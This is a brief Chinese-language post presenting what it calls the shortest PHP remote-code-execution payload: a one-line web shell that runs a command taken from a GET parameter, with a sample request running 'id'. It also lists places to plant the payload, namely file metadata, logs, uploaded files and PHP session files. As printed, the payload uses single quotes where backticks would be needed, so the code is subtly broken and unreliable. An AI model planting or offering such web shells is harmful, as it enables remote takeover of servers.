PHP实现代码执行的最短Payload

2022-04-02 11:02:38 浏览数 (1)

代码语言:javascript复制
<?='$_GET[1]'?>
代码语言:javascript复制
http://localhost:8000/rce.php?1=id

这个payload可以被用来反映在web应用程序的很多文件中

1、在元数据中

2、在日志的某个地方

3、在您控制的上传文件中

4、在您的 PHP 会话中(它将被写入文件)

0 人点赞